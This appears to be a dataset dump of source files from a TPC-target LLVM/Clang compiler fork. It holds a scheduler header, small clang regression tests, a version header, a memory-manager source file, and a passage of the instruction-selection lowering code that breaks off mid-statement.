LLVM_LIB_TARGET_TPC_TPCMACHINESCHEDULER_H\n\n#include \"llvm/CodeGen/MachineScheduler.h\"\n#include \"llvm/CodeGen/ScheduleHazardRecognizer.h\"\n#include \"llvm/CodeGen/DFAPacketizer.h\"\n#include \"llvm/CodeGen/TargetInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCInstrInfo.h\"\n\nnamespace llvm {\nScheduleDAGInstrs *createTPCMachineScheduler(MachineSchedContext *C);\nScheduleDAGInstrs *createTPCPostMachineScheduler(MachineSchedContext *C);\nScheduleHazardRecognizer *createTPCHazardRecognizer(const InstrItineraryData *II, const ScheduleDAG *DAG, bool postRA);\n}\n\n#endif\n" }, { "alpha_fraction": 0.503496527671814, "alphanum_fraction": 0.5804196000099182, "avg_line_length": 16.875, "blob_id": "353829aa20ba2e0f70b5648f94187eeb41c359ed", "content_id": "8352e58048c9f76f7758592dcca75ff4b13ec22c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 143, "license_type": "permissive", "max_line_length": 42, "num_lines": 8, "path": "/clang/test/RC99/localizer/resolver-13.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -vlm 81 -S -O1 %s -o %t\n// expected-no-diagnostics\n\nint64 gval[321];\n\nvoid main(int x) {\n *(int64 __local *)x = gval[0];\n}\n" }, { "alpha_fraction": 0.533687949180603, "alphanum_fraction": 0.6365247964859009, "avg_line_length": 46, "blob_id": "d2eb8a1758753a09260c199b578c019e0e0f1edd", "content_id": "b10f8aa433ddd3fee2351844d1615e23e837e6c4", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 564, "license_type": "permissive", "max_line_length": 141, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_uint64_to_float64.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n uint64 *sptr = (uint64 *)src;\n float64 *dptr = (float64 *)dest;\n uint64 src_val = *sptr;\n *dptr++ = convert_uint64_to_float64(src_val, 0);\n *dptr = convert_uint64_to_float64(src_val, SW_RD);\n}\n\n// CHECK-IR: uitofp <64 x i32> {{.*}} to <64 x float>\n// CHECK-IR: call <64 x float> @llvm.tpc.convert.v64f32.v64i32.i1(<64 x i32> {{.*}}, i8 3, i32 196608, <64 x float> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.6268656849861145, "alphanum_fraction": 0.676616907119751, "avg_line_length": 32.5, "blob_id": "110a181179c0d4136ea42a637b4636acd219fcc5", "content_id": "fdb34281ee07ea1ea45fdf4713d6acc3acf3b2c8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 201, "license_type": "permissive", "max_line_length": 82, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-09.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(int switches=1);\n\n// CHECK: line 3 error: Default argument of integer parameter 'switches' must be 0\n// CHECK: > int func_01(int switches=1);\n" }, { "alpha_fraction": 0.4776119291782379, "alphanum_fraction": 0.5447761416435242, "avg_line_length": 10.166666984558105, "blob_id": "0b368c836d943e0b8682fc3ad1de07fc7648b7cc", "content_id": "7eaac8ef4cb4e5360b719273086e44f2a0c76708", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 134, "license_type": "permissive", "max_line_length": 65, "num_lines": 12, "path": "/clang/test/RC99/regression/gaudi-421.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o -\n\n// SW-1166\n\nint abc();\n\nint abc() {\n return 2;\n}\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.49526065587997437, "alphanum_fraction": 0.528436005115509, "avg_line_length": 34.16666793823242, "blob_id": "5217353c98db7733c25fac4c1c7315fce93460f2", "content_id": "f9acbbd85cb384fecb1d748e66b652b1be10fc55", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 844, "license_type": "permissive", "max_line_length": 80, "num_lines": 24, "path": "/clang/include/clang/Basic/TPCVersion.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- TPCVersion.h --- TPC Version ---------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_TPCVERSION_H\n#define LLVM_TPCVERSION_H\n\n#define HL_DRIVER_DATE \"20200624\"\n#define HL_DRIVER_MAJOR 0\n#define HL_DRIVER_MINOR 13\n#define HL_DRIVER_PATCHLEVEL 0\n\n#define HL_COMPILER_DROP_DATE \"20210411\"\n#define HL_COMPILER_DROP_MAJOR 41\n#define HL_COMPILER_DROP_MINOR 0\n#define HL_COMPILER_DROP_PATCHLEVEL 0\n\n#endif //LLVM_TPCVERSION_H\n" }, { "alpha_fraction": 0.6075761318206787, "alphanum_fraction": 0.6095567941665649, "avg_line_length": 31.05555534362793, "blob_id": "d1e631c8dba184575d7acbb3d8911c19a57ef4df", "content_id": "df7e2fe589e1bd1624eceed342686e4e625ca731", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4039, "license_type": "permissive", "max_line_length": 80, "num_lines": 126, "path": "/clang/tools/llvm-tpc/MemoryManager.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- MemoryManager.cpp - Compiler memory management related code --------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"MemoryManager.h\"\n#include \"API.h\"\n#include <atomic>\n#include <cstddef>\n\nstatic HeapAllocationFuncTable heapFuncs = {\n [](void *) -> void * { return nullptr; },\n [](char *ptr, unsigned oldSize, unsigned newSize, void *) -> char * {\n char *newPtr = static_cast<char *>(realloc(ptr, newSize));\n if (!newPtr) {\n newPtr = static_cast<char *>(malloc(newSize));\n if (ptr) {\n memcpy(newPtr, ptr, oldSize);\n free(ptr);\n }\n }\n return newPtr;\n }};\nstatic void *globalHeap;\n\n#define registerPass \\\n registerPass_impl(const PassInfo &passInfo, bool shouldFree = true); \\\n void registerPass\n#define registerAnalysisGroup \\\n registerAnalysisGroup_impl(const void *interfaceID, const void *passID, \\\n PassInfo &registeree, bool isDefault, \\\n bool shouldFree = true); \\\n void registerAnalysisGroup\n#include \"llvm/PassRegistry.h\"\n#undef registerAnalysisGroup\n#undef registerPass\n\n#define registerPass registerPass_impl\n#define registerAnalysisGroup registerAnalysisGroup_impl\n#include \"lib/IR/PassRegistry.cpp\"\n#undef registerAnalysisGroup\n#undef registerPass\n\nvoid PassRegistry::registerPass(const PassInfo &passInfo, bool shouldFree) {\n llvm::tpc::ScopedGlobalAllocator globalAlloc;\n const PassInfo *passInfoPtr =\n !globalAlloc\n ? &passInfo\n : new PassInfo(passInfo.getPassName(), passInfo.getPassArgument(),\n passInfo.getTypeInfo(), passInfo.getNormalCtor(),\n passInfo.isCFGOnlyPass(), passInfo.isAnalysis());\n\n registerPass_impl(*passInfoPtr, shouldFree);\n}\n\nvoid PassRegistry::registerAnalysisGroup(const void *interfaceID,\n const void *passID,\n PassInfo &registeree, bool isDefault,\n bool shouldFree) {\n llvm::tpc::ScopedGlobalAllocator globalAlloc;\n PassInfo *registereePtr =\n !globalAlloc\n ? &registeree\n : new PassInfo(registeree.getPassName(), registeree.getTypeInfo());\n\n registerAnalysisGroup_impl(interfaceID, passID, *registereePtr, isDefault,\n shouldFree);\n}\n\n#include \"lib/Support/ManagedStatic.cpp\"\n\nstatic const ManagedStaticBase *globalStaticList = nullptr;\n\nvoid llvm_tpc_setHeapAllocationFuncs(const HeapAllocationFuncTable *funcs) {\n heapFuncs = *funcs;\n}\n\nvoid llvm_tpc_setGlobalAllocHeap(void *heap) {\n if (!globalHeap) {\n globalStaticList = StaticList;\n StaticList = nullptr;\n }\n\n llvm_shutdown();\n if (!heap)\n StaticList = globalStaticList;\n\n globalHeap = heap;\n}\n\nnamespace llvm {\nnamespace tpc {\n\nScopedGlobalAllocator::ScopedGlobalAllocator() : newHeap(globalHeap) {\n if (newHeap)\n oldHeap = heapFuncs.setThread(newHeap);\n}\n\nScopedGlobalAllocator::~ScopedGlobalAllocator() {\n if (newHeap)\n heapFuncs.setThread(oldHeap);\n}\n\nvoid GlobalBufOStream::write_impl(const char *ptr, size_t len) {\n unsigned newSize = size + len;\n if (capacity < newSize) {\n capacity = std::max({newSize, capacity + capacity / 2u, 128u});\n buf = heapFuncs.realloc(buf, size, capacity, globalHeap);\n }\n memcpy(buf + size, ptr, len);\n size = newSize;\n}\n\nGlobalBufOStream::GlobalBufOStream(char *&buf, unsigned &size)\n : buf(buf), size(size) {\n reset();\n SetUnbuffered();\n}\n\n} // end namespace tpc\n} // end namespace llvm\n" }, { "alpha_fraction": 0.5456014275550842, "alphanum_fraction": 0.588562548160553, "avg_line_length": 41.0133171081543, "blob_id": "dcd7d8bd6baf62d4abd249bb4a81ffc64b1081c8", "content_id": "95167f5360ada003b791f17a000d937118026d62", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 258676, "license_type": "permissive", "max_line_length": 111, "num_lines": 6157, "path": "/llvm/lib/Target/TPC/TPCISelLowering.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCISelLowering.cpp - TPC DAG Lowering\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file implements the interfaces that TPC uses to lower LLVM code into a\n// selection DAG.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCISelLowering.h\"\n#include \"MCTargetDesc/InstructionDB.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPC.h\"\n#include \"TPCTargetMachine.h\"\n#include \"TPCTargetObjectFile.h\"\n#include \"llvm/ADT/APFloat.h\"\n#include \"llvm/ADT/StringSwitch.h\"\n#include \"llvm/CodeGen/CallingConvLower.h\"\n#include \"llvm/CodeGen/MachineFrameInfo.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/SelectionDAG.h\"\n#include \"llvm/CodeGen/TargetLoweringObjectFileImpl.h\"\n#include \"llvm/IR/DerivedTypes.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpc-isel\"\n\nconst unsigned VRF_REGISTER_LENGTH_IN_BYTES = 256;\nconst unsigned VRF_REGISTER_LENGTH_IN_BITS = 8 * VRF_REGISTER_LENGTH_IN_BYTES;\nconst unsigned SRF_REGISTER_LENGTH_IN_BYTES = 4;\nconst unsigned SRF_REGISTER_LENGTH_IN_BITS = 8 * SRF_REGISTER_LENGTH_IN_BYTES;\n\n//\n// Option to disable Scalar to IRF pass.\n//\nstatic cl::opt<bool> DisableIRFCopy(\"no-irf-copy\", cl::Hidden, cl::ZeroOrMore,\n cl::init(false));\n\nstatic cl::opt<std::string> TPCSchedPref(\"tpc-sched-preference\", cl::Hidden,\n cl::ZeroOrMore, cl::init(\"source\"));\n\nTPCTargetLowering::TPCTargetLowering(const TargetMachine &TM,\n const TPCSubtarget &STI)\n : TargetLowering(TM), Subtarget(&STI) {\n\n Sched::Preference spref = Sched::Source;\n if (StringRef(TPCSchedPref.getValue()).equals(\"none\"))\n spref = Sched::None;\n else if (StringRef(TPCSchedPref.getValue()).equals(\"source\"))\n spref = Sched::Source;\n else if (StringRef(TPCSchedPref.getValue()).equals(\"regpressure\"))\n spref = Sched::RegPressure;\n else if (StringRef(TPCSchedPref.getValue()).equals(\"hybrid\"))\n spref = Sched::Hybrid;\n else if (StringRef(TPCSchedPref.getValue()).equals(\"ilp\"))\n spref = Sched::ILP;\n else if (StringRef(TPCSchedPref.getValue()).equals(\"vliw\"))\n spref = Sched::VLIW;\n else\n report_fatal_error(\n \"Invalid value for -tpc-sched-preference option.\\nPossible values are: \"\n \"none, source, regpressure, hybrid, ilp, vliw.\\n\");\n\n setSchedulingPreference(spref);\n\n // Common value for scalar and vector memories.\n MaxStoresPerMemsetOptSize = MaxStoresPerMemset = 0;\n\n addRegisterClass(MVT::i1, &TPC::SPRFRegClass);\n addRegisterClass(MVT::f32, &TPC::SRFRegClass);\n addRegisterClass(MVT::bf16, &TPC::SRFRegClass);\n addRegisterClass(MVT::f16, &TPC::SRFRegClass);\n addRegisterClass(MVT::f8_143, &TPC::SRFRegClass);\n addRegisterClass(MVT::f8_152, &TPC::SRFRegClass);\n addRegisterClass(MVT::i32, &TPC::SRFRegClass);\n addRegisterClass(MVT::i16, &TPC::SRFRegClass);\n addRegisterClass(MVT::i64, &TPC::ADRFRegClass);\n addRegisterClass(MVT::i8, &TPC::SRFRegClass);\n addRegisterClass(MVT::v5i32, &TPC::IRFRegClass);\n addRegisterClass(MVT::v64f32, &TPC::VRFRegClass);\n addRegisterClass(MVT::v128f16, &TPC::VRFRegClass);\n addRegisterClass(MVT::v128bf16, &TPC::VRFRegClass);\n addRegisterClass(MVT::v256f8_143, &TPC::VRFRegClass);\n addRegisterClass(MVT::v256f8_152, &TPC::VRFRegClass);\n addRegisterClass(MVT::v64i32, &TPC::VRFRegClass);\n addRegisterClass(MVT::v128i16, &TPC::VRFRegClass);\n addRegisterClass(MVT::v256i8, &TPC::VRFRegClass);\n addRegisterClass(MVT::v128f32, &TPC::DRFRegClass);\n addRegisterClass(MVT::v256f16, &TPC::DRFRegClass);\n addRegisterClass(MVT::v256bf16, &TPC::DRFRegClass);\n addRegisterClass(MVT::v512f8_143, &TPC::DRFRegClass);\n addRegisterClass(MVT::v512f8_152, &TPC::DRFRegClass);\n addRegisterClass(MVT::v128i32, &TPC::DRFRegClass);\n addRegisterClass(MVT::v256i16, &TPC::DRFRegClass);\n addRegisterClass(MVT::v512i8, &TPC::DRFRegClass);\n addRegisterClass(MVT::v256i32, &TPC::ARFRegClass);\n addRegisterClass(MVT::v256f32, &TPC::ARFRegClass);\n addRegisterClass(MVT::v256i1, &TPC::VPRFRegClass);\n addRegisterClass(MVT::v2i32, &TPC::ZRFRegClass);\n addRegisterClass(MVT::v2i16, &TPC::ZRFRegClass);\n addRegisterClass(MVT::v2i8, &TPC::ZRFRegClass);\n\n setOperationAction(ISD::FADD, MVT::v256f32, Custom);\n setOperationAction(ISD::FADD, MVT::v128f32, Custom);\n setOperationAction(ISD::FSUB, MVT::v256f32, Custom);\n setOperationAction(ISD::FSUB, MVT::v128f32, Custom);\n setOperationAction(ISD::SUB, MVT::v256i32, Custom);\n setOperationAction(ISD::SUB, MVT::v128i32, Custom);\n\n setOperationAction(ISD::EXTRACT_VECTOR_ELT, MVT::v2i32, Custom);\n setOperationAction(ISD::EXTRACT_VECTOR_ELT, MVT::v2i16, Custom);\n setOperationAction(ISD::EXTRACT_VECTOR_ELT, MVT::v2i8, Custom);\n\n setOperationAction(ISD::INSERT_VECTOR_ELT, MVT::v2i32, Custom);\n setOperationAction(ISD::INSERT_VECTOR_ELT, MVT::v2i16, Custom);\n setOperationAction(ISD::INSERT_VECTOR_ELT, MVT::v2i8, Custom);\n\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v5i32, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v64f32, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v128f32, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v256f32, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v128f16, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v256f16, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v128bf16, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v256bf16, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v256f8_143, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v256f8_152, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v64i32, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v128i32, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v256i32, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v128i16, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v256i16, Custom);\n setOperationAction(ISD::VECTOR_SHUFFLE, MVT::v512i8, Custom);\n\n setOperationAction(ISD::BUILD_VECTOR, MVT::v256i32, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v128i32, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v128f32, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v256f32, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v256i16, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v256f16, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v256bf16, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v512i8, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v2i8, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v2i16, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v2i32, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v512f8_143, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v512f8_152, Custom);\n setOperationAction(ISD::BUILD_VECTOR, MVT::v256i8, Custom);\n\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v256i32, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v128i32, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v128f32, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v256f32, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v256f16, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v256bf16, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v256i16, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v512i8, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v512f8_143, Custom);\n setOperationAction(ISD::CONCAT_VECTORS, MVT::v512f8_152, Custom);\n\n setOperationAction(ISD::EXTRACT_SUBVECTOR, MVT::v64i32, Custom);\n setOperationAction(ISD::EXTRACT_SUBVECTOR, MVT::v64f32, Custom);\n setOperationAction(ISD::EXTRACT_SUBVECTOR, MVT::v128i16, Custom);\n setOperationAction(ISD::EXTRACT_SUBVECTOR, MVT::v128f16, Custom);\n setOperationAction(ISD::EXTRACT_SUBVECTOR, MVT::v128bf16, Custom);\n setOperationAction(ISD::EXTRACT_SUBVECTOR, MVT::v256i8, Custom);\n setOperationAction(ISD::EXTRACT_SUBVECTOR, MVT::v256f8_143, Custom);\n setOperationAction(ISD::EXTRACT_SUBVECTOR, MVT::v256f8_152, Custom);\n\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v128i32, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v128f32, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v256f32, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v256i32, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v256i16, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v256f16, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v256bf16, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v512i8, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v512f8_143, Custom);\n setOperationAction(ISD::INSERT_SUBVECTOR, MVT::v512f8_152, Custom);\n\n setOperationAction(ISD::BR_CC, MVT::i1, Expand);\n setOperationAction(ISD::BR_CC, MVT::i8, Expand);\n setOperationAction(ISD::BR_CC, MVT::i16, Expand);\n setOperationAction(ISD::BR_CC, MVT::i32, Expand);\n setOperationAction(ISD::BR_CC, MVT::i64, Expand);\n setOperationAction(ISD::BR_CC, MVT::f32, Expand);\n setOperationAction(ISD::BR_CC, MVT::f64, Expand);\n setOperationAction(ISD::BR_CC, MVT::f16, Expand);\n setOperationAction(ISD::BR_CC, MVT::bf16, Expand);\n setOperationAction(ISD::BR_CC, MVT::f8_143, Expand);\n setOperationAction(ISD::BR_CC, MVT::f8_152, Expand);\n\n for (auto VT : {MVT::i8, MVT::i16, MVT::i32, MVT::i64}) {\n setOperationAction(ISD::ATOMIC_CMP_SWAP, VT, Custom);\n setOperationAction(ISD::ATOMIC_CMP_SWAP_WITH_SUCCESS, VT, Custom);\n setOperationAction(ISD::ATOMIC_SWAP, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_ADD, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_SUB, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_AND, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_OR, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_XOR, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_NAND, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_MIN, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_MAX, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_UMIN, VT, Custom);\n setOperationAction(ISD::ATOMIC_LOAD_UMAX, VT, Custom);\n }\n\n setOperationAction(ISD::ATOMIC_FENCE, MVT::Other, Custom);\n\n setOperationAction(ISD::BR_JT, MVT::Other, Expand);\n setOperationAction(ISD::BRIND, MVT::Other, Expand);\n\n setOperationAction(ISD::SELECT_CC, MVT::f32, Expand);\n setOperationAction(ISD::SELECT_CC, MVT::f16, Expand);\n setOperationAction(ISD::SELECT_CC, MVT::bf16, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::f8_143, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::f8_152, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::i1, Expand);\n setOperationAction(ISD::SELECT_CC, MVT::i8, Expand);\n setOperationAction(ISD::SELECT_CC, MVT::i16, Expand);\n setOperationAction(ISD::SELECT_CC, MVT::i32, Expand);\n setOperationAction(ISD::SELECT_CC, MVT::v5i32, Expand);\n setOperationAction(ISD::SELECT_CC, MVT::v64i32, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::v64f32, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::v128i16, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::v128bf16, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::v128f16, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::v256i8, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::v256f8_143, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::v256f8_152, Custom);\n\n setOperationAction(ISD::SELECT_CC, MVT::f8_143, Custom);\n setOperationAction(ISD::SELECT_CC, MVT::f8_152, Custom);\n setOperationAction(ISD::SELECT, MVT::f32, Custom);\n setOperationAction(ISD::SELECT, MVT::f16, Custom);\n setOperationAction(ISD::SELECT, MVT::i1, Custom);\n setOperationAction(ISD::SELECT, MVT::i8, Custom);\n setOperationAction(ISD::SELECT, MVT::i16, Custom);\n setOperationAction(ISD::SELECT, MVT::i32, Custom);\n setOperationAction(ISD::SELECT, MVT::v5i32, Custom);\n setOperationAction(ISD::SELECT, MVT::v64i32, Custom);\n setOperationAction(ISD::SELECT, MVT::v64f32, Custom);\n setOperationAction(ISD::SELECT, MVT::v128i16, Custom);\n setOperationAction(ISD::SELECT, MVT::v128bf16, Custom);\n setOperationAction(ISD::SELECT, MVT::v128f16, Custom);\n setOperationAction(ISD::SELECT, MVT::v256i8, Custom);\n setOperationAction(ISD::SELECT, MVT::v128f32, Custom);\n setOperationAction(ISD::SELECT, MVT::v256f8_143, Custom);\n setOperationAction(ISD::SELECT, MVT::v256f8_152, Custom);\n\n setOperationAction(ISD::ConstantFP, MVT::f16, Legal);\n setOperationAction(ISD::ConstantFP, MVT::bf16, Legal);\n setOperationAction(ISD::ConstantFP, MVT::f32, Legal);\n\n setOperationAction(ISD::LOAD, MVT::v5i32, Custom);\n setOperationAction(ISD::LOAD, MVT::v256i32, Custom);\n setOperationAction(ISD::LOAD, MVT::v128i32, Custom);\n setOperationAction(ISD::LOAD, MVT::v128f32, Custom);\n setOperationAction(ISD::LOAD, MVT::v256f32, Custom);\n setOperationAction(ISD::LOAD, MVT::v256i16, Custom);\n setOperationAction(ISD::LOAD, MVT::v256f16, Custom);\n setOperationAction(ISD::LOAD, MVT::v256bf16, Custom);\n setOperationAction(ISD::LOAD, MVT::v512i8, Custom);\n setOperationAction(ISD::LOAD, MVT::v2i8, Custom);\n setOperationAction(ISD::LOAD, MVT::v2i16, Custom);\n setOperationAction(ISD::LOAD, MVT::v2i32, Custom);\n setOperationAction(ISD::LOAD, MVT::v512f8_143, Custom);\n setOperationAction(ISD::LOAD, MVT::v512f8_152, Custom);\n\n // These types are custom lowered when loaded from global memory.\n setOperationAction(ISD::LOAD, MVT::i8, Custom);\n setOperationAction(ISD::LOAD, MVT::i16, Custom);\n setOperationAction(ISD::LOAD, MVT::i32, Custom);\n setOperationAction(ISD::LOAD, MVT::f32, Custom);\n setOperationAction(ISD::LOAD, MVT::f16, Custom);\n setOperationAction(ISD::LOAD, MVT::bf16, Custom);\n setOperationAction(ISD::LOAD, MVT::f8_143, Custom);\n setOperationAction(ISD::LOAD, MVT::f8_152, Custom);\n\n setOperationAction(ISD::STORE, MVT::v5i32, Custom);\n setOperationAction(ISD::STORE, MVT::v256i32, Custom);\n setOperationAction(ISD::STORE, MVT::v128i32, Custom);\n setOperationAction(ISD::STORE, MVT::v128f32, Custom);\n setOperationAction(ISD::STORE, MVT::v256f32, Custom);\n setOperationAction(ISD::STORE, MVT::v256i16, Custom);\n setOperationAction(ISD::STORE, MVT::v256f16, Custom);\n setOperationAction(ISD::STORE, MVT::v256bf16, Custom);\n setOperationAction(ISD::STORE, MVT::v512i8, Custom);\n setOperationAction(ISD::STORE, MVT::v2i8, Custom);\n setOperationAction(ISD::STORE, MVT::v2i16, Custom);\n setOperationAction(ISD::STORE, MVT::v2i32, Custom);\n\n for (auto VT :\n {MVT::v256i32, MVT::v128i32, MVT::v256i16, MVT::v128i16, MVT::v256i8})\n setOperationAction(ISD::SIGN_EXTEND, VT, Custom);\n\n setOperationAction(ISD::ZERO_EXTEND, MVT::v128i32, Custom);\n setOperationAction(ISD::ZERO_EXTEND, MVT::v256i32, Custom);\n setOperationAction(ISD::ZERO_EXTEND, MVT::v256i16, Custom);\n setOperationAction(ISD::ZERO_EXTEND, MVT::v256i8, Custom);\n\n for (auto VT : {MVT::v128f32, MVT::v128f16, MVT::v128bf16, MVT::v256f16})\n setOperationAction(ISD::FP_ROUND, VT, Custom);\n\n for (auto VT : {MVT::v256bf16, MVT::v256f16, MVT::v128f32, MVT::v256f32})\n setOperationAction(ISD::FP_EXTEND, VT, Custom);\n\n setOperationAction(ISD::TRUNCATE, MVT::v256i16, Custom);\n setOperationAction(ISD::TRUNCATE, MVT::v128i16, Custom);\n setOperationAction(ISD::TRUNCATE, MVT::v256i8, Custom);\n\n for (auto VT : {MVT::v256i8, MVT::v128i16}) {\n setOperationAction(ISD::FP_TO_SINT, VT, Custom);\n setOperationAction(ISD::FP_TO_UINT, VT, Custom);\n }\n\n setOperationAction(ISD::FP_TO_SINT, MVT::v64i32, Custom);\n\n for (auto VT : {MVT::v128i16, MVT::v256i8, MVT::v256i16}) {\n setOperationAction(ISD::SINT_TO_FP, VT, Custom);\n setOperationAction(ISD::UINT_TO_FP, VT, Custom);\n }\n\n // TPC doesn't have sext_inreg, replace them with shl/sra\n setOperationAction(ISD::SIGN_EXTEND_INREG, MVT::i16, Expand);\n setOperationAction(ISD::SIGN_EXTEND_INREG, MVT::i8, Expand);\n\n setOperationAction(ISD::FMINNUM, MVT::v64f32, Legal);\n setOperationAction(ISD::FMAXNUM, MVT::v64f32, Legal);\n\n setOperationAction(ISD::MUL, MVT::v64i32, Custom);\n setOperationAction(ISD::MUL, MVT::v128i16, Custom);\n setOperationAction(ISD::MUL, MVT::v256i8, Custom);\n\n setOperationAction(ISD::TRUNCATE, MVT::i32, 